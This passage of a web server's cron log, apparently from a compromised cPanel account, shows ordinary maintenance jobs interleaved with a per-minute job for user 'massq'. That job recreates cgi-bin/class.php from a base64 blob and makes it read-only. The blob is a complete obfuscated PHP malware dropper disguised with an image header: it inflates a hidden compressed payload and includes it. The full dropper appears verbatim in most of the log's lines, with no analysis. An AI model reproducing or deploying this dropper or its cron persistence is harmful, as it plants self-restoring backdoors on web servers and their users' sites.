"$fp")
Aug 31 12:37:01 server CROND[21051]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 12:38:01 server CROND[21435]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:38:01 server CROND[21436]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 12:38:01 server CROND[21437]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:39:01 server CROND[21841]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 12:39:01 server CROND[21840]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 12:39:01 server CROND[21843]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:39:01 server CROND[21842]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:40:01 server CROND[22306]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:40:01 server CROND[22308]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 12:40:01 server CROND[22309]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:40:01 server CROND[22313]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 12:40:01 server CROND[22318]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 12:40:01 server CROND[22317]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 12:40:01 server CROND[22315]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 12:40:01 server CROND[22316]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 12:41:01 server CROND[23331]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 12:41:01 server CROND[23332]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:41:01 server CROND[23333]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:42:01 server CROND[23805]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:42:01 server CROND[23806]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 12:42:01 server CROND[23808]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:42:01 server CROND[23807]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 12:43:01 server CROND[24200]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 12:43:01 server CROND[24202]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:43:01 server CROND[24201]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:44:01 server CROND[24589]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:44:01 server CROND[24588]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 12:44:01 server CROND[24590]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:45:01 server CROND[24989]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 12:45:01 server CROND[24997]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:45:01 server CROND[24998]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:45:01 server CROND[25002]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 12:45:01 server CROND[25001]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 12:45:01 server CROND[25000]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 12:45:01 server CROND[24999]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 12:46:01 server CROND[25827]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:46:01 server CROND[25828]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:46:01 server CROND[25829]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 12:47:01 server CROND[26222]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:47:01 server CROND[26223]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 12:47:01 server CROND[26224]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:48:01 server CROND[26706]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:48:01 server CROND[26707]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 12:48:01 server CROND[26708]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:49:01 server CROND[27107]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 12:49:01 server CROND[27108]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:49:01 server CROND[27109]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:50:01 server CROND[27528]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 12:50:01 server CROND[27529]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 12:50:01 server CROND[27531]: (root) CMD (/usr/lib64/sa/sa1 1 1)
